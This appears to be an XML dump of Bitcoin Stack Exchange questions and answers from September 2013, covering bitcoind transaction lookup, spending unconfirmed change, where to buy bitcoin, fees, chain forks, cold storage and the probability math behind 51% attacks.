  <row Id="13081" PostTypeId="1" CreationDate="2013-09-02T11:12:46.197" Score="4" ViewCount="1003" Body="&lt;p&gt;We are running bitcoind version v0.8.2-332-gf19eda1-beta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our goal is to parse all transactions in a given block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To begin we call &quot;bitcoind getblock &quot;, which gives us a list of associated txid's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then call &quot;bitcoind getrawtransaction &quot; on each of these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, getrawtransaction occasionally fails with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;error: {&quot;code&quot;:-5,&quot;message&quot;:&quot;No information available about transaction&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is failing because the given transaction is not unspent, and the database which getrawtransactions relies on does not need to track such transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is explained in detail here on github:&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/2077&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/issues/2077&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;there is never need for more information than unspent transactions outputs, so that is the only piece of data that is kept&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are we forced to parse the blockchain database which bitcoind maintains on disk ourselves?&#xA;Is there some way to extract the information we want through bitcoind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't bitcoind provide an interface to all blockchain information?&#xA;It recently changed its underlying database and may do so again.&lt;/p&gt;&#xA;" OwnerUserId="6606" LastActivityDate="2014-12-10T17:25:32.107" Title="How can we access all transactions, including spent transactions, through bitcoind?" Tags="|bitcoind|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13085" PostTypeId="1" CreationDate="2013-09-02T16:14:36.353" Score="4" ViewCount="2563" Body="&lt;p&gt;I have 10 btc on address A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using raw transaction, I send 5btc from A to B and set the change address as A itself. Now because the transaction from A to B is not confirmed I can't spend the remaining 5 btc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I saw that the QT wallet can do this. Ex:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 10 btc on address A. I send 5btc to B. The wallet creates a new address C and sets it as the change address. Then I try using the 5 btc on the wallet and it works. It allows me to send from address C. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is the wallet using unconfirmed outputs as inputs here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If so, how is it doing this and how can I do it using raw transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) If not, what's going on here?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2013-09-02T16:28:13.963" LastActivityDate="2013-09-03T07:59:54.190" Title="How does a wallet use unconfirmed outputs as inputs after unconfirmed transactions?" Tags="|transactions|confirmations|unconfirmed-transactions|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13086" PostTypeId="2" ParentId="10435" CreationDate="2013-09-02T17:09:51.203" Score="4" Body="&lt;p&gt;Depending on how many you want, the fee/convenience structure changes. I'd break it up into three sizes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Large (over $500, multi-day delivery):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://CaVirtEx.com&quot; rel=&quot;nofollow&quot;&gt;https://CaVirtEx.com&lt;/a&gt; - &lt;strong&gt;Canadian Virtual Exchange&lt;/strong&gt; (Biggest Canadian-based exchange)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://CanadianBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;https://CanadianBitcoins.com&lt;/a&gt; - &lt;strong&gt;Canadian Bitcoins&lt;/strong&gt; (smaller Canadian exchange, not self-serve)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://harbor.ly&quot; rel=&quot;nofollow&quot;&gt;https://harbor.ly&lt;/a&gt; - &lt;strong&gt;Harborly&lt;/strong&gt; (Buy bitcoins directly with your bank account)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Medium ($100 - $500, within hours):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://LocalBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;https://LocalBitcoins.com&lt;/a&gt; - &lt;strong&gt;Local Bitcoins&lt;/strong&gt; (classified ads for cash sales in your city)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://Kijiji.ca&quot; rel=&quot;nofollow&quot;&gt;http://Kijiji.ca&lt;/a&gt; - &lt;strong&gt;Kijiji&lt;/strong&gt; (more cash deal listings)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://Meetup.com&quot; rel=&quot;nofollow&quot;&gt;http://Meetup.com&lt;/a&gt; - &lt;strong&gt;Meetup.com&lt;/strong&gt; (Find local enthusiast meetups, lots of buy/sell)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mycelium.com/&quot; rel=&quot;nofollow&quot;&gt;http://mycelium.com/&lt;/a&gt; - &lt;strong&gt;Mycelium Local Trader&lt;/strong&gt; (Android App for finding Bitcoin sellers)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Small (Under $200, within minutes):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://QuickBT.com&quot; rel=&quot;nofollow&quot;&gt;https://QuickBT.com&lt;/a&gt; - &lt;strong&gt;QuickBT&lt;/strong&gt; (Instant, using Interac Debit, higher fee)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now Closed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.LibertyBit.com/news&quot; rel=&quot;nofollow&quot;&gt;https://www.LibertyBit.com/news&lt;/a&gt; - &lt;strong&gt;LibertyBit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://MtGox.com&quot; rel=&quot;nofollow&quot;&gt;https://MtGox.com&lt;/a&gt; - &lt;strong&gt;Mt Gox&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btcQuick.com&quot; rel=&quot;nofollow&quot;&gt;https://btcQuick.com&lt;/a&gt; - &lt;strong&gt;btcQuick&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6598" LastEditorUserId="4241" LastEditDate="2014-09-01T23:12:32.083" LastActivityDate="2014-09-01T23:12:32.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13087" PostTypeId="2" ParentId="12462" CreationDate="2013-09-02T17:57:54.453" Score="4" Body="&lt;p&gt;This process, generally know as forking, creates two parallel chains that are incompatible, that is, there will be some transactions that will be valid against one chain but are not valid against the other.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If there are parallel branches, a miner might keep track of both of them. Once a chain is rejected, transactions in that chain are checked against the accepted one. Incompatible or duplicate transactions are simply discarded, while the remaining can be held over to go in the next block (or blocks as there might be too many transactions for just one).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transaction records will remain in-tact for the accepted chain, but records for the rejected chain will be merged in to the old branch as described above. It would be impossible to attach these transactions to the final block before the branch, so, they are kept around by miners and put into the block chain as normal.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There might be a bit of confusion here... once a block is mined, it can't be changed, so it's impossible to store further transactions in that block. Furthermore, this block will have exactly one coin-base transaction. Any transactions that happen after it is mined will each be stored in subsequent blocks that follow it, but each of these blocks will have exactly one coin-base transaction, as is specified by the bitcoin protocol. So yes, there will only be one coinbase transaction in the block generated by A.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="6388" LastEditDate="2015-05-11T00:15:54.597" LastActivityDate="2015-05-11T00:15:54.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13088" PostTypeId="2" ParentId="9591" CreationDate="2013-09-02T18:02:19.713" Score="10" Body="&lt;p&gt;&lt;a href=&quot;https://www.luno.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.luno.com&lt;/a&gt; (previously known as BitX) trades BTC for ZAR via EFT to South African banks. They have accounts at FNB and Standard Bank. If you have an account at one of those, it will clear faster.&lt;/p&gt;&#xA;" OwnerUserId="6610" LastEditorUserId="6610" LastEditDate="2017-09-29T10:10:22.190" LastActivityDate="2017-09-29T10:10:22.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13089" PostTypeId="2" ParentId="9591" CreationDate="2013-09-02T18:07:40.593" Score="4" Body="&lt;p&gt;You can find people willing to sell you bitcoins for ZAR online here: &lt;a href=&quot;https://localbitcoins.com/buy-bitcoins-online/za/south-africa/&quot; rel=&quot;nofollow&quot;&gt;all localbitcoins online offers to sell&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6610" LastEditorUserId="307" LastEditDate="2014-01-03T20:25:22.603" LastActivityDate="2014-01-03T20:25:22.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13090" PostTypeId="2" ParentId="13085" CreationDate="2013-09-02T18:10:38.687" Score="1" Body="&lt;p&gt;It looks like Bitcoin QT is able to reference it's own unconfirmed transactions, which is kind of dangerous. Consider this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first transaction (A to B) might arrive in the block chain after the second (C to ...) or it might not arrive at all. In this case, the second transaction will not go through because it won't be valid until the first one happens. Even though the second transaction exists within Bitcoin QT, it probably doesn't get sent out until the first goes through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this with raw transactions, you can create both transactions at the same time, just know that the second one will be invalid (and thus rejected by the block chain) until the first one goes through. &lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-09-02T18:10:38.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13091" PostTypeId="1" AcceptedAnswerId="13094" CreationDate="2013-09-02T18:20:08.347" Score="2" ViewCount="285" Body="&lt;p&gt;Online wallets, such as inputs.io, require you to pay a fee, but transactions occur instantly. Is there any way to not pay fees (probably by delaying payments)?&lt;/p&gt;&#xA;" OwnerDisplayName="user6398" LastEditorDisplayName="user6398" LastEditDate="2013-09-02T19:10:09.567" LastActivityDate="2013-09-02T22:40:34.610" Title="Can you delay transactions so that you pay no fees?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13093" PostTypeId="2" ParentId="13085" CreationDate="2013-09-02T22:39:58.200" Score="0" Body="&lt;p&gt;My understanding is that technically the first confirmation is against your own blockchain copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So although the transaction may not be confirmed in a block, the client is aware that this change transaction is unlikely to be rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact logically it cannot be rejected if the transaction was created correctly.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2013-09-02T22:39:58.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13094" PostTypeId="2" ParentId="13091" CreationDate="2013-09-02T22:40:34.610" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;Transaction fees&lt;/a&gt; will always be expected by the network unless your order meets these conditions&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is smaller than 10,000 bytes.&lt;/li&gt;&#xA;&lt;li&gt;All outputs are 0.01 BTC or larger&lt;/li&gt;&#xA;&lt;li&gt;Its priority is large enough (meaning it has been on hold for a very long time)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;you can also mine your own transactions, but as a general rule if your expecting someone to process your order for you, then they expect something in return, even if that something is only 0.0001 BTC.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-09-02T22:40:34.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13095" PostTypeId="2" ParentId="13085" CreationDate="2013-09-02T23:16:43.290" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the wallet using unconfirmed outputs as inputs here?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If so, how is it doing this&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Except for coinbase transactions, transactions are independent of blocks. A transaction spending an unconfirmed input looks exactly the same as a transaction spending a confirmed input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's safe for Bitcoin-Qt to spend unconfirmed change because it knows that the input is valid and will be confirmed at some point (though probably slowly). It would not be safe for Bitcoin-Qt to spend unconfirmed inputs that it did not itself create because they might never confirm, resulting in permanently tied-up funds. (Very old versions of Bitcoin made this mistake, but it was corrected after widespread issues.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how can I do it using raw transactions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can create the transaction with &lt;code&gt;createrawtransaction&lt;/code&gt; normally, but you'll need to give &lt;code&gt;signrawtransaction&lt;/code&gt; some extra info about the unconfirmed transaction in its second parameter.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2013-09-03T04:38:00.940" LastActivityDate="2013-09-03T04:38:00.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13098" PostTypeId="2" ParentId="13035" CreationDate="2013-09-03T07:05:01.243" Score="1" Body="&lt;p&gt;If (when) there is a useful innovation with an alternative to bitcoin, it is possible that innovation will be wanted in Bitcoin as well.  There is a hard fork wishlist already with certain improvements that could some day be added to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, let's say an alt that has support for Zerocoin (a feature that provides anonymity) is proven to be functional and useful, that will increase the likelihood that it gets added to Bitcoin at some point as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Bitcoin exists because of its ability to be resistant to censorship.   This means that xternal parties (crooks, governemnts, etc.) cannot alter the Bitcoin transaction ledger.   This property exists solely due to the proof of work function performed by the miners which prevents a 51% attack.  Since the level of hashing needed to protect from a 51% is not some hard number, essentially the more greater level of hashing means a greater level of resistance.   At some point the level will be sufficient but since that's not known, alternatives using proof-of-work will have a hard time garnering enough hashing capacity to prevent the 51% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the risk of bitcoin losing share to a competitor should be weighed against the difficulty that an alternative would achieve a sufficient level of hashing capacity to be protected from a 51% attack (presuming it is a proof-of-work based alternative currency.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its very possible a digital voucher system such as that offered through an Open Transactions server, or Ripple, etc. could grow to total a very large monetary value.  That would likely grow the size of the pie and benefit bitcoin versus being a substitute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is also possible is that regulators will relax or abandon the AML/KYC requirements -- and thus the ability for Bitcoin to be used anonymously gets sufficient competition from centralized alternatives, which would be able to compete as being less-expensive to operate as well as likely being a brand with corporate backing sufficient to cause growth from paid promotion, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime there are likely years or possibly decades even before Bitcoin gets supplanted by a competitor.   There could be hundreds of billions in value (or more) coming Bitcoin's way before any competitive challenge appears on the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even then -- just as fiat's value doesn't disappear overnight due to the realization that digital currencies are superior, Bitcoin's value won't disappear overnight either.  The progress of alternatives will be measured and evaluated and should rapid growth of any of them arise, selling pressure on Bitcoin will occur.  While losses might be the result, those watching the scene will ease up on the size of their Bitcoin position as more information about its long term prospects are known. &lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-09-03T07:14:10.933" LastActivityDate="2013-09-03T07:14:10.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13099" PostTypeId="2" ParentId="13085" CreationDate="2013-09-03T07:59:54.190" Score="1" Body="&lt;p&gt;Bitcoin-QT treating the change as okay to spend depends on the client itself having created it within itself. Creating transaction with createrawtransaction change as unconfirmed. Bu sendfrom not.&lt;/p&gt;&#xA;" OwnerUserId="6150" LastActivityDate="2013-09-03T07:59:54.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13102" PostTypeId="1" CreationDate="2013-09-03T14:16:17.823" Score="1" ViewCount="611" Body="&lt;p&gt;I set up &lt;em&gt;MultiBit Wallet 0.5.13&lt;/em&gt; with three wallets and bought 1BTC to practice with.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From Wallet 1 I moved .25BTC to Wallet 2,&lt;/li&gt;&#xA;&lt;li&gt;then 0.1 BTC from Wallet 2 to Wallet 3. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Wallets 2 and 3 both have correct balances: There are 0.1499BTC in Wallet 2 and 0.1BTC in wallet 3 (the slight difference was caused by the transaction fee).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in Wallet 1, which should have about 0.75BTC, the client shows 1.6695BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to move 1.5BTC out of Wallet 1, it says there are not enough BTC to do that... but the &quot;Balance&quot; shows:  1.6695 in the balance box on the top left when I am on Wallet 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what is happening?&lt;/p&gt;&#xA;" OwnerUserId="6619" LastEditorUserId="5406" LastEditDate="2013-09-04T22:46:21.953" LastActivityDate="2013-10-12T21:26:41.150" Title="Wrong Wallet Balance" Tags="|wallet|multibit|balance|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13104" PostTypeId="2" ParentId="11018" CreationDate="2013-09-03T17:27:30.497" Score="3" Body="&lt;p&gt;&lt;em&gt;If&lt;/em&gt; your wallet hasn't been compromised (how can you be sure?) then it should be enough to secure it with a strong passphrase and then be sure to back it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If&lt;/em&gt; your wallet has been &lt;em&gt;or&lt;/em&gt; even just might have been compromised then securing it with a strong passphrase now might not be enough.  Sending the Bitcoins at risk to a new address in the same wallet generated after the strong passphrase is put into place &lt;em&gt;might&lt;/em&gt; not even be enough.  It &lt;em&gt;might&lt;/em&gt; take creating a whole new wallet on a known to be uncompromised system (how can you be sure?) and securing it with a strong passphrase &lt;em&gt;before&lt;/em&gt; using an address generated in it to establish security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Backing up your wallet to a cloud, e.g. emailing it to a Gmail account, etc., puts it at risk.  If you ever did this before securing it with a strong passphrase then you should really move to a new wallet.  Deleting the pre-strong passphrase copies is an illusion.&lt;/p&gt;&#xA;" OwnerUserId="5453" LastActivityDate="2013-09-03T17:27:30.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13105" PostTypeId="1" CreationDate="2013-09-03T18:53:58.933" Score="8" ViewCount="3903" Body="&lt;p&gt;What are the most secure way to store a huge amount of BTC over a long time and its (detailed) risks? A other assumption is that the owner does not have a very technical background, thus it will not be possible to verify the code of a wallet generator. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a detailed overview of the risks. Even unlikely thinks like a biased random number generator of java script used by: &lt;a href=&quot;https://www.bitaddress.org/&quot;&gt;https://www.bitaddress.org/&lt;/a&gt;&#xA;Or that the site is hacked and wallet generation script is malicious just when I want to use it.&#xA;An other example would be, when I use MultiBit and I store the seed in safe-deposit box it might happen that the software is not longer available and it might be difficult to recover the keys from the seed.&lt;/p&gt;&#xA;" OwnerUserId="1853" LastEditorUserId="492" LastEditDate="2013-09-04T22:46:51.267" LastActivityDate="2015-05-11T20:29:27.630" Title="Secure way to store BTC over a long time - and its risks?" Tags="|wallet|hacking|coldstorage|storage|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13106" PostTypeId="2" ParentId="13105" CreationDate="2013-09-03T19:10:18.247" Score="1" Body="&lt;p&gt;The best way to securely store bitcoin is by using what's commonly called &quot;Cold Storage&quot;. You do this by generating and address/private-key pair, sending bitcoin to the address, and keeping the private key in a safe place until you're ready to spend it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of ways to do this, but the easiest I've found is to create a wallet with BlockChain.info. On the &quot;Receive Money&quot; tab, there is a &quot;More Options&quot; button that will allow you to create a Cold Storage address. The key pair is generated on your local machine, so you shouldn't have to worry about the private key getting out. In the future, you can use this private key to spend your funds using any client, including BlockChain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we're trying to do this securely, keep in mind that nothing is absolutely secure. And that if someone has access to your computer during this process, either because you gave them access or because they hacked into it, they can still obtain your private key and spend your funds.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-09-03T19:10:18.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13107" PostTypeId="2" ParentId="13102" CreationDate="2013-09-03T19:19:51.263" Score="1" Body="&lt;p&gt;My guess is that you have an address (or addresses) in Wallet 1 to which you do not also have the private key. This would account for both having more money that you should as well as the fact that you can't spend it.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="6388" LastEditDate="2013-10-12T21:26:41.150" LastActivityDate="2013-10-12T21:26:41.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13108" PostTypeId="1" CreationDate="2013-09-03T21:06:33.483" Score="1" ViewCount="415" Body="&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=h2u3BNiANVA&quot; rel=&quot;nofollow&quot;&gt;This video claims that Litecoin is more secure than Bitcoin.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the only differentiator between LTC and BTC is SCrypt, then I don't see how a merkle chain of 6 blocks would be more secure than the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain the details of why he thinks this the case?  &lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-09-03T21:52:59.697" Title="How is 6 LTC blocks &quot;more secure&quot; than 6 BTC blocks?" Tags="|blockchain|security|litecoin|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13109" PostTypeId="2" ParentId="13108" CreationDate="2013-09-03T21:52:59.697" Score="1" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; &lt;em&gt;He compares one hour worth of transaction blocks, not six blocks. I.e. he compares the security of &lt;strong&gt;6&lt;/strong&gt; blocks in the bitcoin network opposed to &lt;strong&gt;24&lt;/strong&gt; blocks in the litecoin network.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the video the host reads from a sheet with calculations that is supposed to prove that Litecoin is more secure than bitcoin. The calculation is based on the assumption that a 51% attacker wants to mine one hour worth of blocks with 35% of the mining power. Finally, he concludes that 8 transaction blocks in the litecoin network offer a similar security as 6 blocks in the bitcoin network. I.e. block to block litecoin isn't securer than bitcoin, however it reaches the same level of security in less time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't comment in how far the presented numbers are factual (I didn't repeat the calculation), however I am not convinced of the conclusion &quot;litecoin is magnitudes more secure than bitcoin&quot;. A 51% attack does not require an hour worth of blocks, but rather a specific number of blocks, in which even the host tells us that Bitcoin is more secure.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-09-03T21:52:59.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13110" PostTypeId="1" CreationDate="2013-09-03T22:48:08.847" Score="2" ViewCount="471" Body="&lt;p&gt;I'd like to determine the probability of a fairly powerful miner (or pool) generating 6 sequential blocks in an hour. (so they would rebroadcast it later) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, given &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hash/second: X&lt;/li&gt;&#xA;&lt;li&gt;A target of: Y &lt;/li&gt;&#xA;&lt;li&gt;A probability of getting 6 blocks in less than an hour: Z&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What is the probability that sequential 6 blocks will be created in&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 hour&lt;/li&gt;&#xA;&lt;li&gt;1 Day&lt;/li&gt;&#xA;&lt;li&gt;1 Week&lt;/li&gt;&#xA;&lt;li&gt;3 months&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd like to find the formula to determine this so I can graph the exponential difficulty of how much power an attacker will need to thwart the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is discussion that Litecoin is more resistant to this type of attack, but so far it seems unfounded.  I'm looking for thought that would indicate otherwise.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-14T19:43:44.523" LastActivityDate="2016-03-14T19:43:44.523" Title="What is the probability of generating 6 sequential blocks, less than an hour?" Tags="|blockchain|security|hashpower|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13111" PostTypeId="2" ParentId="13105" CreationDate="2013-09-03T23:21:53.583" Score="0" Body="&lt;p&gt;I would say that a paper wallet stored in a bank vault with no other copies made would be the safest. The only risk is that the bank gets robed or the paper deteriorates (which could be solved by using a higher grade material.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though this is probably overkill. If your looking for a practical very secure solution I would recommend using &lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow&quot;&gt;Armory's&lt;/a&gt; cold storage system.  &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-09-04T19:32:49.390" LastActivityDate="2013-09-04T19:32:49.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13112" PostTypeId="1" CreationDate="2013-09-04T03:13:51.400" Score="5" ViewCount="443" Body="&lt;p&gt;Good Evening-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to execute an unusual 3-way transaction, where in one of the parties is not known at the start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PartyA would initiate the transaction, and provide funding. &#xA;My thought was that he would transfer 1BTC to a dedicated wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He'd then also start the transaction, and name Party B as one required signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the third signature, he'd approach 5 random strangers.&#xA;He'd give them any and all information necessary to complete the transaction (including the private key of the wallet he just made if nec).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one who could propose a deal, and convince PartyB to accept it, would receive their share of the money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, c1 might offer B to split 80/20, where-as c2 offers to split 50/50.&#xA;PartyB signs the proposed offer from c2, and it can then execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like there might be a way to do this with multiple signatures and p2sh, but I'm not quite sure how to make it work yet. Any thoughts or comments welcomed.&lt;/p&gt;&#xA;" OwnerUserId="6631" LastActivityDate="2015-01-21T23:24:47.343" Title="How can I execute a 3-way escrow with 1 unknown party?" Tags="|multi-signature|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13113" PostTypeId="2" ParentId="13110" CreationDate="2013-09-04T05:55:48.267" Score="1" Body="&lt;p&gt;I would first like to comment that there is widespread confusion about how double-spending works. In particular, the question you've asked here is irrelevant. I urge anyone who is seriously examining this issue to carefully read &lt;a href=&quot;https://bitcoil.co.il/Doublespend.pdf&quot; rel=&quot;nofollow&quot;&gt;Analysis of Hashrate-based Double Spending&lt;/a&gt;, which also examines the effect of changing the average time between blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your question as is - do you mean&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The probability that in a given hour, the miner will find at least 6 blocks? Or&lt;/li&gt;&#xA;&lt;li&gt;The probability that the event &quot;the miner finds 6 blocks in a row, without the other miners finding blocks between him&quot; will happen in a given hour?&lt;/li&gt;&#xA;&lt;li&gt;Or something else?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first option is relatively easy - If the average time between blocks is T, the miner's proportion of the hashrate is q, and you're looking at a time period S, he will find on average (Sp/T) blocks, following the Poisson Distribution. So the probability this will be at least 6 is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - \sum_{x=0}^{5} (exp(-Sq/T) * (Sq/T)^x / x!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if q = 0.5 then that's 8.4% for 1 hour, and for 1 day it's 99.9999999999999999999999%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll need to work out the 2nd option, but the answer to the easier question &quot;What is the chance to find 6 blocks in a row starting right now&quot; is of course q&lt;sup&gt;6&lt;/sup&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-09-04T08:00:05.643" LastActivityDate="2013-09-04T08:00:05.643" CommentCount="1" 